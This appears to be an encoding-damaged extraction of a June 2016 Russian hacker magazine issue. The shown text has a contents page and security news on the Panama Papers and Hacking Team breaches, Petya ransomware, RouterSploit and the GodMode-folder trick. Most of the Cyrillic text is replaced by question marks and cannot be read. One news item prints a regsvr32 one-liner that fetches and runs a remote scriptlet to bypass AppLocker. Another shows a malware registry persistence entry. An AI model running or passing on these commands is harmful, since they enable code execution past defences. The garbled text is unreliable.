close

Вход

Забыли?

вход по аккаунту

?

Хакер №6 июнь 2016

код для вставки
?????? 2016
? 207
MEGANEWS
??? ????? ?? ????????? ?????
????? ?? ????????
??????? ???????????? ??????? ????????????? ????????????
??????????? ???????
??? ????? (Check Point) ? ???, ??? ??????? ????? ?????????
????? ? ??? ? ?????? PGP
?????? ???????? ????? ?? ??????????? ???? ?????????? ??? ???????
???????? ?????
??? ????????? Windows ?????? ???
?????? ????? ? ZeroNet
??? ??????? ????? ?????????????? ??????? ? ??? ?? ????????????
WWW2
?????????? ???-???????
15 ????????? ???????
? ????????? ???????? ? ??????? ?????????
??? ???????? ? ???????? ??????????????? ?????????????
??????? ?????? ???????????
???????? ???????? ?? ?????
Android N DP2, ????? ????????? ???????? ? ???? ? ????? ??????? ???????
????????? ????
?????? #19. ??????!
?????????? Android
50 ?????? ADB, ? ??????? ?????? ????? ??????
??? ????? ? ?????
??????? ??????? ???????
Backups for fun and profit #1
??????????? ? ??????? ?????????? ??????????? iOS ? ?????? ??
??????? ? ???????
????????? Maru, ????????, ??????????? ?????????? ???????? ? ??????????? ????
Easy Hack
????????? ??????? ??????? ?????
????? ??????????
?????? ????? ???????????
????? ?? ?????????
?????? ?????? (Check Point) ? ????? ? ?????? ???????
?????? ?? ?????????
??? ???????? ????????????, ?? ?????? ?? ????
X-TOOLS
???? ??? ?????? ? ??????? ????????????
??????? ?? ??????????????
????????? ?????????? ??????? ??? Android
???? ???????????: ??????????? ?????? ?? ????????
?????????? KIS, Dr.Web, ESET ? WinDefender
?????? ??? ????????
????????????? ?????????? ??? Android, ????? 1
?????? ? ??????????
????? ?? ??????????? ???????? ??? ????
Microsoft Azure ??? ????????? ???????
?????? Linux ? ????????? WordPress ? ?????? Microsoft
???????? ? ???????????!
???? ?????????? ? ?????????? ???????? ??? Android. ????? 1
?????? ?? ??????????????
??????? ?? ?????: ?????? ?? ?????????
???????? ????????
??? ????? ??????? ????????? ??????? data engineering ?????. ????? 1
??? ?? BSD
DragonFly, ????????? ???? ? HAMMER
????????? ???????, ????? 2
???????????? ?????????? ????????????? ????
???? ?????????
?????????? ? ????? ????? 4.5
FAQ
??????? ? ??????
?????
??? ?????? ???? ??????
????? лMifrill╗ ????????
nefedova.maria@gameland.ru
????????? ?????
?а????? ?????? ?????? ????????? ?????????? ???? ?????????? ?а???????:
???????? ??????? S№ddeutsche Zeitung ?а????? ?????????????? ???????????
????????????? ????????????? (ICIJ) ???????????? 2,6 ????? ?????? (11,5 ???????? ??????), ????????????? ??????????? ????? Mossack Fonseca ??а??????. л????????? ??????╗ (??? л????????? ?????╗) ???????? ?????? ?а???????????? ??????? ?????? ????? ?а?????????? ?????????????? ????????
?????, ?а??????? ?????????? ????? ???? ????????? ?????????? ?а?????? ????????? ????????.
Mossack Fonseca & ??а? ??????????? ????? ??а????-????????? ?а?????? ?а????? ??? ?????? ??????????????????? ??а????? ????. ???????? ????
???????? ??????? ???????? (J№rgen Mossack) ?а??????? ???????? (Ramєn
Fonseca Mora) ?а???? ??????? ???? ??????????? ????. ???????? ???????
Mossack Fonsecaа? ??????????? ???????? ????????, ???????? ?????, ????????? ?????? ?а??????????. ???????? ????? ??????????? ?а???, ??? ??? ???????? ????? ??????????? ???????? ?????????? ??а???????, ???????? ??????
?а???????? ????????????? ???????. ?????? Mossack Fonseca ????? ????????
?????????? ?????? ????????????, ???а????????????? ???????? ??????????
???????????? ????? ???????? ????? ?????? ????????? ?????????? ????? ???????????????? ??????.
??? ????????, ??? ?а?????????? ?????????? ?????? ??????? ??????, ?а??????? ?????? ?????????? ?????? ??????, ???????-??????? ???????? ????????? ????? ????????????, ????????? ????????? ???????? ?????, ?????????
??????? ???? ?????????, ?????? ?????????? ????? ?? ????????, ??? ??????? ???????????? ????????? ??? ???? ?????? ???? ?а?????? ??????. ????????
????? ??????, ??????????? ?а????????? ??????? ??? ????? ??? ?????: ?а??????
??????? ??? ?????????? Mossack Fonseca ?а1977 ???? ??а??????? 2015 ????,
?? ???? ????????? ??? ??????? ????????. ?????????? ??????? ????????????
?????? ???????? ???????????? ?а?????????? ???????? ???????? ?а?????????? ?а??? ??? ??а????? ??? 2016 ????. ??????????, ??? ???????? ?а??????
????????? 214 488 ???????, ????????? ?а??????? ?????????? ?????????.
???? ???????? ?а?????????? ??????, ????? ???????? ????? ??а???????????
?ал????????? ???????╗, ?????? ?а?????????? ?????????? ????? ?????????????? ??? ?????????? ?????????: ??????????????? ??????? ?а????? ?????????? ?а???????????? ?????? ????????. ????? ?а?????? ?????????? ????? ?????????????? ?????????? ?????????? ?а?? ?????????????, ?а??? ????? ????????
?????-????????? ?????????? ?? ??????? ??????, ???????? л?????? ??????╗,
?????????? ??????????? ???????, ????????? ????????? ?????? ????????????
?а???? ??????????? ????????? ??????? ?????? ???????.
?????? ????? ?????? ???? ??а??????????? Mossack Fonseca ??????, ???
?????????? ?????????? ??а??? ??????????? ????????. ??а??? ??????, ??????? Mossack Fonseca ???????? ???????, ??????? ?????????? ?а?????? ??????.
??????, ??????? ???????? ????????? ????????, ???????? ??????????????
???????????. ?а??? ????????????, ??? ????????????? ??????? ?????? ?а???????? ???????? Mossack Fonseca. ??? ?????????????? ?????? ????, ???а?????????? ?????.
1. ?
??а?????? ???? ?а??????? Revolution Slider (?????????? ?????? ???????
???аWordPress) ????? ??????? ?????? ?а?????????? WordPress, ??????????
?а????? wp-config.php. ????? ??????? wp-config.php ???????? ?????? ?а????? ??а???? ??????.
2. ?
???????? ??, ????????????? ??????????? ?а???? ?????? ?а????? ?а?????????? ??????? ALO EasyMail Newsletter ?????? ?а????? ????????? ???????
????????. ??? ???? ??? ??????????? ??????? ??аIMAP ??? POP ???????????
??????, ??????? ???????? ???????????? ????? л?????????? ??????╗.
3. ?
????? ????? ?? ????? ???а?????? ?????????? ?аDrupal, ??????????
?????? ???????? (?? ??????? ???? ?а25 ????????????) ???? ???????????
??а???????? ????????.
???????, ?а??????????????? ????????? ???? ????? ?????? ????????????: ????
??а?????, ????????? ??????? ?????????? ??а???????? ??????? ?????????????? ????????????. ??? ??а????????? ????????? ???? ?????? ?а??????????
???? ????? ?????? ???????, ??????? ????????? ??????? ??????????. ????????? ?а????? ??????????? ??а????? ???????? ?????????? ????? ?????? ????:
????????, ??????? ????????? ????? ??а?????? 1╫0123 ????????? ?????????
SQLi ?а????????? ??????? Orion House, ??????? ?????????? Mossack Fonseca.
???????? ???? ??????????, ?????? ???а???????? ?????? ?????????? ?????
Mossack Fonseca ????????? ?????? ??????.
???а????????
HACKING TEAM
??????????? ???????? Hacking Team л????????????╗ ??? ????? 2015 ????,
????? ??????????? ???????? ?? ?а???????????? ?а????????? ????? 400 ?????
?????????? ??????а? ??а????????? ???? ??а?????????? ?а???????? ?????????
???????????. ???? ??? ???? ?а??????? ???????????? ?а???, ???а???????? ????????, ????????? ????????? ?????????, ????????????? ???? ?а???????????
???а???????? ??????.
???? ????? ?????? ??а???????? ????????? ??????? ?????, ??????? ?????????? ???????? ????????? Hacking Team, ???????? ??а??????? ?????????? ?а?????????? ????? ???????? ?а???? ???????? ??а?????. ??? ??а????? ???
?а??а????? ????????, ??? ??????? Hacking Team. ?а???, ?????? ????? ???, ???????? ???????, ??????? ??????????????? ??а??????????? ??а????: ?????, ????????? ???а?????? ?????, ?а??????? ????????? ?а???, ???а?? ??????????????
??????? Hacking Team, ????? ??????? ?а??????????? ???а????? ???????????,
?а????? ????????, ????? ??? ??????. ?????????? ?????? ??аPastebin ????????
?а???? ??????? ???а?????????? ???????: ????? ??а?????? ???????????? ?а?????? Hacking Teamа? ?? ?????? ????????? ?????? ??а?????????????? ???????????? ?а?????, ??????? ??????????? ?а????? ????. ?а?????????, ?? ????? ?а???,
?????? ????????????? Torа? ??? ??а???????, ???? ????????? ???????????? ??????? Google (??? ??? ?????? ??????????), ?а????? ?????????, ???а?????????
???????? ?????? ?????? ?а?????? ?а????????? ?????????? ?????????.
????? ????????????, ??? ??????? ?????? ??? ????? ????? ????? л?????????? ??????????╗, ???????????? ?а?????????? ???? Hacking Team. ????? ??а?????????? ???????????? (???????? ??? ???, ??? ??? ??а??? ??? ??а?????????),
??а????????, ??? ?????? ????? ????? ????????????? ??????? ?????: ??????????
???а???? ????? ??? ???????? ????? ?а???? л?????????? ??????????╗ 0day-??????????, ??????? ??????????? ???????? ???а???? ?а????????? ?? ????????.
??а???????? ?????? ????????? ?а???? ???? ??? ??????, ?а??????????? ?? ???
????? ???? ???а? ???а??????? ????????? ?а????. ???? ????? ??а????????????????? ??????? ?а??а?????? ?????? ???????????, ??????? ????????? ??????
????? ???????????? ?а???????? ??? ?????????????? ???????????, ????????
?а?????? ?а????? ?????? ???????? ????????.
????????? ?а???? Hacking Team, ????? ?????-?? ????? ???????? ?а??????? ??????, ????????? ???а?????????? ???????????, ??? ?а??????? BusyBox,
Nmap, Responder.py, tcpdump, dsniff, screen ?а?????? ?????. ?????? ?????? ???????: ?? ????????? ????????? ??? MongoDB, ?????????????????? л?? ?????????╗а? ?а???????? ???а??????. ?????? ????? ????? ????? ??????????
?а??????? ????????, ?а????? ???????? ?а??а????? ???????. ????? ????????
??? ???????? ???? ????? ????????? ??????? Exchange: ????? ???????? ????????? ?????? ?а??? ?????????? ?а??????? ??? ?????, ??????? ????? ?? ???????????? ??? ?????? ?ал??????╗ ???????. ???а????? ?? ??????????? pwdump,
cachedump ?аlsadump, ?а????? ????? ??? ??????????. ????? ????????? ??????? ?????? ???????? ?????????????? BES (BlackBerry Enterprise Server). ?????? ????????? ????????, ??? ????????? ?????? ???????? ???? ??????????
?а???????, ?а????? ??????? ?????? ?????? ????????????? ????????, ???????
?????? ?????????????? ??????.
?????? ?????????? ?????? ?а?????????, ????? ??????? ????????????? ????
?????? ???????? ???? Hacking Team, ??? ??????? ??????? ???????? ???? ?????
Remote Control Systemа? ?????????? ??а???а?????? ??а??????????????. ????????, ??? ?а?????????? ?????? ???? ?????? ?а???? ????, ????? (??? ?????????? ???????????? ?????????????? ??????) ?????? ??а?????????? ????? ????? ?а????????? ?????, ???????? ??а?? ?????? ?????????? ?а????, ????????
?????? ??????, ????????? ?а????? ??????? Metasploit, ?а????? ?????? ??????
?????????? ???????????. ?а??????? ????? ??????????? Truecrypt-???, ?а????? ????????? ????????, ???? ??????????? ??? ??????????, ?а????? ?????????? ?????? ??? ??????. ????? ?????? ?а?????????????? ???? ???????????
??????? txt-???? ?а????? ?????? ???????. ??????? ??? ?а?????? ??а???????
Fully Automated Nagios, ??????? ???? ?????? ?а???????? ???? ???а???????????.
????? ????? ??, ??? ?????.
????? ????, ???????????? ?????????? ?????, ????? ?????????, ??? ?????? ??а??????????? ???? ?????? ?а???????????? ????????. ??? ???а??????
??аWindows ??? ??? ???????? ??????, ?? ?????????? ????????? ??? ?? ???а??????? ?аGit-???????... ?а?????? ????????. ????? ????? ?????????? sudo, ?а???
????? ?????????. ???а??????? ?а??????? GitLab ?аTwitter-???????? Hacking Team
???????? ?????? ??????????? ??????? л? ????? ??????╗ ?а????????? ?а???
??????, ??? ?? ???? ????????? ?????? ?а????????? ??????? ????????.
?а????? ????? ????????, ??? ?? ????? ?? ????????? ???? ????? ?а???? ????????? ???? ?????????????? ??????? ??????????? ????????. ?? ????????,
??? ???????? Hacking Team, ?? ????? ????? ???????????, ?????? ?????? ???????? ?а??????????????????? ????????а? ??? ??? ????? ????? ????????????? ?а?????? ???????? ???????.
194 ???????
??а?????
л?????????╗
?а?????? ?????? ????????? ????????????, ??????? ??а?????? ?????? ?????
?????????? ??????. ??а???, ??? ????????: ???????? Dell SecureWorks ???????????? ????? ??????????? ????? ????????? ????? ??а?????? ????????? ?????
??а??? ??????.
??а???? ??????, ????? ?????????? ???????? ????? ????? ???????: ???????? ??????? ?????????? ???????? ???????, ????? ???аMail.Ru, ????? л???????╗
?ал????????╗, ????? ????? ??а????? ??а65 ??а103 ????????. ????????????
(Gmail, Hotmail, Yahoo) ?а?????????? (ukr.net) ??????? ????????? ??????? ??????а? 129 ????????. ??а????? ?????????????? ????????? ????? ?????? ????? 500 ????????.
??а??????? ??????? ??????? ?а?????????? ????? ??? ????????: ??????????
?????????? ???? ??????. ?а?????? ??????????, ??? ????? ???????? ?а?????????? ???????, ????-???????? ??????? ?????????? ?а???, ?????? ??????????
??а129 ????????. ????? ??а????????????? ?а????? ??????? л?????????╗ ???
л??????????????╗ ??????? ????: 194 ???????.
?????? ???????????? ????????? ???? Visa ?аMasterCard ??????? ??а???? ??а7
??а15 ???????? ??а????? (??? ???? ????? ??? ?????? ??а??? ??????? ???????).
????????? ??????? ??????????? ???????? ?????????? 40 ????????. ??????
????? ????? ??а?????? ?а?????? ????? ????: ??а??? ???? 50 ????????. ??????
????? ???????? ?а????????????? ??????, ?????????? ?а????, ?????? ??????
?????????? ?????, ??? ?а???, ???? ????????, ??????????? ????? ?а????? ??????????? ???????????, ??????? ??а????? ??а15 ??а65 ???????? (?????? ???),
20 ???????? (?????? ??????) ?а25 ???????? (?????? ??????????????).
????????? ??????? ?а?????? ??????????? ????? ??????? ??а??????, ??? ????????? ????, ?а?????????? ????? ??а??????? ??????. ??????? ????? ??????
?а?????? ?????? ?а????????, ????????, ??????????, ?????????, ??????????
?а?????????? ??????. ??? ????? ???????? ??а400 ????????. ????? ???? ?а???????????? ????? ????????? ?а40 ????????, ???? ??а??????? ?????? ????????,
?а500 ????????, ???? ??а??????? ????? 15 ????? ????????.
????? ?????? ????????? ????????. ?а2013 ???? ??а???? ????? ??а??? ??а??????? ????????, ?а?????? ??? л??????╗ ????????? ?а350 ????????. ?????? ???????????? ?????? (????????, ?????? ??? ?????????? ????? ???????????? ?????????) ??а??? ???? ?????????? ?а25?100 ???????? ??а19,99 ???????. DDoS-?????
????? ???????????? ??а5?10 ???????? ?а??? ??? 200?555 ???????? ?а??????.
48%
?????????????
????????? ? ?? ??????,
????????? ?? ?????
2а300а
000 000
?????????? ??????????? ???????
??????????? Google ????????? ? ??????????????? ?? ???????????? ???????????? ? ????????????? ???????????? ? ?????? ? ????????. ?????????
?? ??????? ???????????? 297 ??????,
???????? ????????? ????????? ??
????????? ?? ??????????????. ???,
???????? ?? ??? ?????????????? ? ???
?????????????????, 48% ????????????? ?????????? ????????? ??????
? ????? ???????????. ??? ???? ?????????????? ?????????? ????????????
?? ??????????? ?????? 16% ?? ???.
??????????? (68%) ?????????????
????? ????????, ??? ??????? ?? ????????????? ??????? ??? ???????????????? ??? ??????????? ? ?? ?????
?????????. ? ?????? ? ??????? ??? ???
?????? ?????? ???????? ????????? ?
?????????, ??? ???????? ????? ????????? ?????-?? ?????????? ??????.
???????? ?????????
?????????? ??
?????????? ?????
????????? л??????╗ ?? ??????? ??
??????????? ????????? ? ??? ??????????, ??? ????? ?? ???????? ?????????? ????????? ????? ????????????????? ?? ??? ??? ????????? ??????????
???? ? ???????? ?????????? ?????????. ????????? ???????? ????????? ??????????? ????????? ????????
??????, ? ??????? ?????? ???? ??
????????????? ?? ???????????. ? ????????? ????????? ?????? ?????????
???????????? ????? ????? ?? ????????? ????. ??????????, ??? ?? ???
??????? ?????? ???????? ????????? 17
642 ???? ? 79 ??????? ????. ?? ?????? ? ??????? 2013 ???? ?? ???????
2016 ???? ??? ????????????? ?????
???????? ??????????????? ???????
2,3 ????????? ????????.
??? ????????
?а???? ????
Windows AppLocker ??????? ???????? ?а???????? Microsoft ?а??????? Windows
Server 2008 R2 ?аWindows 7. ??а????, ??? ??????? ????????? ??????????????
???????? ???????????? ??????? ???а??????????, ?????????, ??? ????? ?а????
??а????? ????????? ???????????? ??? ?????? ?????????????. ?а???????, ?????
????????? ?????? ??а?????????? ????? ????????, ??????? ??а????????? ?а??????? ???????????? ??????????.
??????????? ????????????? ????? ???? ????????? ?????????? ??????
?????? Windows AppLocker. ???, ??? ????? ???а?????,а? ???????? ???????, ???
??????? ????????? ???? ?а???? ????:
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
Regsvr32 ???????? ?????? ??а?а????? ?????????????? ???а??????????? ??? ?????? ??????????? ?????? COM ???????? ?а??????? Windows. ???? ?????????, ???
Regsvr32 ???????? ?????????? URL ?а????????? ??а?????? ???????? ???? ?????
HTTP ??? HTTPS. ???? ????????? ??????? ?????, /s ?а???? ????????? Regsvr32
???????? ????, /n ??????????? ??а???????????? DllRegisterServer, /u ????????, ??? ?? ???????? ??????????? ?????? ???????????, ?а/i ???????? ??а??????
?аDLLinstall. ?а???? ???????, scrobj.dllа? ??? Script Component Runtime.
?????????? ???? ????????? ???????????? ??а??а?????????? Regsvr32 ?а?а???
??????? ??????? ??а????????? ???????????? ????. ???? ??????? ???????
JavaScript ?а?????? XML-????? ?а??????????? ??? ?????????? ????? ??????
??а?????? ??????????? .DLL: ???а??????? ????? XML ???????? ????????? ?????
exe-????, ?а??? ??? ??а?????, ????? ??????????? ??????????? ?аAppLocker.
????? ????? ??а??????? ?????????? ??????????????, ????? ???? ??????
??а??????? ?????? HTTP ?а??а????????? ?????? ??а??????? ????? ??????, ???
???а???????? ??????????????? ?а???????. ??????? ?????? ??а?????? ??????
??а??????????, ????? ??? Regsvr32 ????? ???????? ??а????????? ???а??????
????????. Proof-of-concept ????? ??????????? ??аGitHub.
л? ???? ??? ??????? ??????????? ???????? ?????????????????, ???????, ????? ?? ????????? ???????????? ???????.
?????, ??? ???? ?????? ???????, ?????
?????????? ?????? ???????? ???????????? ????? ??? ???? ?? ??????????? ??????????????. ? ?????, ??? ? ????????????????? ???????? ????, ??????? ????
????? ?????? ?? ???╗.
??????? ?????????? ? ??????? SCADA-??????
?????? ???????? ????????????
??????????? ???????
???????????? ??????????? ????????? ?? ?????? ???? ???????????????? ?????????????
(EUIPO) ??????? ???????? ???????????? ?????? ??????? ? ???????? ?? 15 ?? 24 ???. ????????
????? ????????????, ??????????, ????? ???????? ???????????????? ?????????????, ? ??????
????? ? ?????????. ?????????????? ? ????? ????????????? ?????, ? ??????? ???????????
?????? ????????? ???????? 28 ????? ??, ???????, ??? ??????? ????, ? ????????, ?? ?????
?а????????? ?????? ???????.
?????? ????????? ?????????? ???? ?? ??? ?? ????????? 12 ???????
??????????? ???????????? ????????? ??? ??????? ? ????????.
97%
56%
95%
85%
91%
29%
?????????? ????????? ??? ??????? ? ??????? ??????
?????????? ?????? ??????????? ????????? ??? ??????? ? ???????????? ????????
???????????? ????????? ??? ???????? ? ??????? ?????? ??? ???????
????????, ??? ????????? ???? ????????????? ?? ??????????? ????????
?????????? ????????? ?? ???? ????
???????????? ??? ?????????? ??? ????????? ???????
??????????, ????????? ???????????? ??????????? ??????? ??????????,
?????? ??? ??? ??????:
67% ?????? ??? ??? ????????? ??? ???????, ??? ????????? ???????
38% ?? ????? ?????? ??????? ? ????????? ??? ?????? ????
33% ???????????? ??????????? ???????, ??? ??? ?? ?????????? ???????
31% ?? ????????? ?????? ?? ????? ???????????
30% ?? ??????????? ???????? ????? ??????
30% ??????????? ??????? ????? ????? ? ????? ????????
29% ???? ??????? ????? ????? ?????? ??????????
20% ????????? ??????? ????????? ??????????? ??????? ????? ????????
17% ???? ?? ?? ????????? ????????? ??? ??
15% ????? ???????? ?????? ? ???????? ? ?????? ??????
14% ????? ?? ???????? ??????? ?????? ??? ??????? ??????????
14% ??? ??????? ? ???????????
12% ?? ?????, ?????? ??? ?????????
????? ?а???????
?????????? л????╗
?????????? л????╗ ????? ??а?????? ????????? ??а???????????? ?а????? ?????
2016 ????. ??????????? ????? ???? ???????? ????????, ??? Petya ??????????
??а????? ????? ??????????????: ???????? ??а?????? ??????? ???? ?????,
???????? ????????? ?????? ?а??????? ?????????, ?а?????? ???????????? ??????? ?а???????? ????? ???????, ???????? ?аMaster Boot Record ?а?????? Master
File Table. Petya ??????????????? ??????? ???????????? ??а??????: ?????????????? ????????? ?????????? ?????? ????????????????? ????????? (?????
?????? ??а?????????? ??а?????-?? ?????????), ?а??????? ??????????? ??????
??а?????? ????????? ?????????? ??аDropbox. ??????????, ?????? ?????????
??а?????? ????????????? ???????.
?????????? ???????? ????????? ????????????? ??? ??????????? ??? ????? ????? ???????? л????╗, ??????????? ???????????? ?????????. ??????????
?????? ????? ????? ??????? ??аGitHub, ?а????? ?????? ??? ?????, ????????
?????? ?????????? ????? ??????????????? ???а????????? ????? ??????????. ??а?????? ????????????? ?????? ????? ?????????????? ??????? ???????? Emsisoft ?????? ?????, ??????? ?????? ??????? ?????????? Petya Sector
Extractor ???а??????????? ?????????? ?????? ?????????? ?а?????. ?????????
??????? ?????????????? ?????? ???????? ????????? ???????.
1. ???а??????????? ???????????? ?????? ???????? ??????? ??????? ????
?????????? ?а?????????? ??? ?а??????? ??, ??????????? ??? ??????????? Windows, ?а????? ??????????????? ???????????? ??????? ??????а? ??
????????? ?????????? ?????????????? ???????.
2. ???а?????? Petya Sector Extractor ???????? ??????, ????? ?????? ??????
?????? Copy Sector (л??????????? ??????╗), ??????? ??а???? ??? ??????
?а???????? ????????????? ?????? ????? Ctrl + V ?а??????? ???? ????? ?????? (Base64 encoded 512 bytes verification data).
3. ????? ????? ???????????? ?а??????? ??????, ???????? ?????? ?????? Copy
Nonce ?а????? ???????? ?????? ??а???? ??????, ??????? ?????? ?а???????
???? ????? (Base64 encoded 8 bytes nonce). ????? ??? ???? ?????????, ????? ???????? Submit ?а????????? ?????? ?????????.
4. ???а?????? ???? ??????????? ?????? ???а??????????? ??????, ???? ??????? ??????? ???? ??????? ?а???????????? ?????????, ???????? ??а?а?????? ?????????? ??? ?а???? ?????????? (??????? ??????????? ?????? ??).
MBR ??????????????, ?а?????????? ????? ????????????.
л? ?????? ????? ???-?? ? ???????? ? ????? ????????? ??? ??. ? ???? ???? ??????
???????, ? ? ??????? ?????? ?? ???? ???????? ???????? ??????. ?????? ??? ?????,
??? ????, ??????? ????? ????, ?????????? ?????? ???????╗.
?????? ????, ???????? ???
METASPLOIT
???а????????
????????????? ?????? ???? ?а??????????? ?????? ???????? ???????????? ??аGitHub ???????? ???? ????? ?????????? ??????????а? ?????????
RouterSploit, ??????? ???????? ???????????? ???????? Metasploit, ??????????????? ??а???????.
RouterSploit ??????? ??аPython, ??? ???а???????????? ??????? ???????? ??????????? Metasploit ????, ??а??????? ??? ???????. ?????? ??????? ?аRuby ????????????? ??а?????, ??а????????, ??? ?????????? ???? ?? ????? ????????
?аPython.
RouterSploit ??????? ??? ????????? л?????????? ??????????╗ (embedded
devices, ?????а? ???????). ??а????? ????????? ?????????? ????????????? ?????????? Metasploit: ?? ???? ?????????? ?а?????? ????????? ??????, ????????
??????? ???????????? ???????? ??????????? ????????? ??а???????? ??а????
??????? ?????????.
?????? ??????? ??????????? ??????????? ?????? ????. ??? ????????????
?????? ???а????????????? ?а???????????? ?????????? ???????????, ???а???????? ??????? ?????? ??а???????????? ?а????????? ???????, ???????????????
???а?????? ???????.
????????
???а???????
?а????????????? ?аWindows ??????? GodMode ???????? ?????. ????? ???????????? л????? ????╗, ????? ????? ???? ??????? ??а??????? ????? ?????
????? ?а?????? ???? GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}.
лGodMode╗ ???а???? ????? ???????? ????? ?????? ??????? ????????, ?а???
?????????? ?????????????????? ???????? ??????. ?а????????? ????? ?????
???????????? ??? ????????? ???????????? ????????? ??, ?а??? ????? ?а??, ??????? ??а?????? ?а???? л?????? ??????????╗ ?ал??????????╗. ??????????????, ??? ??? ??а?????? л????????╗, ?а???????, ??????? ???????????? Microsoft
?????????? ???а??????????.
????????????? McAfee Labs ??????????, ??? ????? ????????? ???????а?
Dynamerа? ?????????? ??? ??????? ???а?????????? ????. ????? ???????????
?а???????, ??????? ??????? ?а??????? Windows ?????? ????:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
lsm = C:\Users\admin\AppData\Roaming\com4.{241D7C96-F8BF-4F85-B01FE2B043341A4B}\lsm.exe
???а????? ????????, ???? GodMode ??????? ???????, ????? ????????? ??????????????? ??аRemoteApp and Desktop Connections. ?????? ????? лGodMode╗
??алcom4╗ ??????????? ???????? ??????? ???????? ?а??????? ????????: ?????? ??-?? ????? ?????? ??аDynamer ?????? ?????? ??????????. ???а????????
????????? McAfee Labs ????? ??????, ???????????? ????? ??? ?а??????????
Windows Explorer ?аcmd.exe ?????????, ??????? ???????????? ??????? ????????? ?а????? ????? ???а?а??????????, ??? ?????? ???????????? ??????? ?? ????? ????????? ??? ????????? ??????.
л??? ?? ???? ??????? ??????? ??????????????, ?? ??????? ??, ??????? ???
?? ??????? ?????. ??????? ???? ??? ????????, ??????? ????????? ?????? ????????? ????? ????? ?????? ?? ???????
???????? ??? ???????????, ????? ????????
??????? ????, ??????? ??????????????
?? ? ???????????? ?????? ?? ?????????
?????. ???? ?? ??? ??????? ???? ? ???????? ???????????? ?????? ?????????
????? ????? ??????, ?????????? ?? ????? ?? ?????????? ???????? ? ????? ?????????????????╗.
??????? ???, ???????? ??????????? ????????? ?????????????????? ???
?????
??а??????????
?????
?????????? ????????????? ??? ????? ????????? ?????? ?а??????? ?????????? Domino?s Pizza: API ?????????? ?????? ?????????? ???аAndroid ?????????
???????. ????? ???????, ??? ?????????? ?а???????? ?????????????? ??а?????? ?????????: ???а???????, ????????? ???????? ?????????? ??а??????? ???????, ?????? ?????????? Domino ?????? ??? ??а??????? ???????.
???а????? ????? ???? ?а?????????? ????? ????? Visa 4111111111111111,
???????? ???????? ???????? <reason> ??аACCEPTED ?а<status> ??а1 (??? ????????, ??? ?????????? ?????? ???????). ?а????????? ??????, ??? ????????
????? ??? ??????? ??????, ?а?????? ??????? ???а??????????????. ????????????? ??-???????? ??а?????, ??? ??? ??? ??????, ?????? ????? ??????? ??????
???а??а?а??? ??а?????? ????????? ??? ????? ?????????? 26 ?????? ??????????.
?????????, ??? ?????? ?????????? ???????? ??????: ???????? placeOrder()
???????????? Domino API ???аHTTP-??????, ??? order_idа? ??? ?????, ???????
????????????? ?????? ?а???????? ????????, ?а<merchantreference> ?????????? ??аXML-??????? ????. ??а????, Dominos ????? ????????????? ??? ??????
??а??????? ???????, ?????? ????? ??а??????????, ???? ?????? ??????? ??а????.
?а?????????? ?????????? ????? ???? ???????? ??????????? ????? ?????????? ?а????????.
???????????
???????
?а???????? ?????? ??а?????? ????? Server Fault ???????? ????????, ?????
??????????? ???????????. ???? ???? ?а???? ??????? л????????? ?????????
??????????? ???????? ????? ???????╗, ??????? ????? ???????? ???? ????????? ??????? ??а?????? ???????? ?????? ???? ????????, ??? ?????? ?а?????????. ?а????? ??? ??????? ????????? л?????? ?????? ?а??????????╗, ??????
?????????? Server Fault ????????, ??? ??? ???? ????? ??а????? ????????? ?????? ??????? ?а????? ??????? ?????????. ?? ???? ????? ???????? ????????????? ????? ????????? ?а?????.
??????????? ???????? ????? ??? ??? ????????? ?а?????????? ????????
123-reg: ???????? ???????? ??????? ??? ???? ??????? ?????? ??а???? ??????????. ?а???????????? ????? ???????? ????????? ????????? ?????? ???????? InnMaster: ??а?????? ????????, ?????????? ????? ???? ??а???????????
123-reg ???????? ????? ??????, ?????? ???????? ??????? ?а????????????????
????????????. ?????? ???????? ?????? ??????????? ??????? ?????? ??а?????
??????? ????????.
??? ?????? ????????? ?а?????? ??????????? ??????? ??а???????? ??? ????? ???? ????, ????????????? 123-reg ??а?????????. ??????????? ?????????
???????? ??????, ??? ?????????? ????? ?????????? ??????? ???????? ?????
л??????, ???????? ??а?????????????????? ??????????? ????????╗, ?а?а???
??? ??????? ?????? ??а?? ??????????. ?????? ????????????? ??? ?????????
?а?????? ?????? ????????? ????? ??????, ??????? 123-reg ???????? ???????????? ????????: ?а?????? ????????, ??????????? ??а????? ????????? 123reg, ???????, ??? ?????????? ???????-?????????? ????????????? ???????? ????????? ????? ??????, ??????? ??????? ??? ??????????? ??????? ?????.
??????, ??????? ????? ??????? ??а????? ??????????? ??????????, ??????.
??-??????, ?а?????? ?????, ???? ????? ?????????????, ???? ???? ??????.
??-??????, ??????? ??????.
DDOS-????? ? ?????? ???????? 2016 ????
????????????? л??????????? ???????????╗ ??????????? ????????? ????? ? ????????
???????? ??????? ???????? 2016 ????. ???? ? ?????? ?????? ?? ???????? DDoS-????, ???????
???????? ??????????????? DDoS-????? ? ?????? ???????? 2016 ???? ??????? 197 ????? (8,2
???). ?????? ???????? ???????? ????????? 333 ???? (13,9 ???).
70% ???? ? ??? ??????????????? ?????, ??????? ?????? ?????? ???? ? ?????.
?????????? ?????? ????????????? ???? ?? ???? ????: ?? 33 ???? ?? ???? ??????.
93,6% ???? DDoS-???? ???? ???????? ?? ??????, ????????????? ? 10 ???????; ????????
DDoS-????? ???? ????????????? ? 74 ??????? ????.
??????? ????? ????????? ?????:
? ??????
???????? 2016
???? ???????????
Windows-???????,
?? ??? ????????
55,5%
?? ???? DDoS-????.
????? ??????????
?????? DDoS-????:
54,9%
21,1%
13,9%
9%
1,5%
??????????? ????????? ????? UDP-DDoS-????.
?? ????????? ?? ?????? ????????? 2015 ????а? ????? ? ?????? ??? (? 11,1 ??
SYN-DDoS
TCP-DDoS
HTTP-DDoS
ICMP-DDoS
UPD-DDoS
1,5%).
???????? ??????????? ??????????? ????? ???????? Sotdas, Xor ? BillGates.
?????
COVERSTORY
??а????????
??????? ???????????? ???????
????????????? ????????????
??????? ??????
gralexey@gmail.com
?а?????????? ?а??????? ??????? ????? ?????????,
???аbladeRF, HackRF, RTL-SDR, ?а????? ??????????? ?????????? ????? GNU Radio ??????-?????????? ?????? ?????????? ?????????? ????? ??????? ?а?????????????.
??а???? ?а????????? ???????.
???а?????? bladeRF, HackRF (? ??????? ??????? RTLSDR) ??????????? ????????? ??????????? ?????????? ??а???????????, ?а????? ?????????????? ?а???.
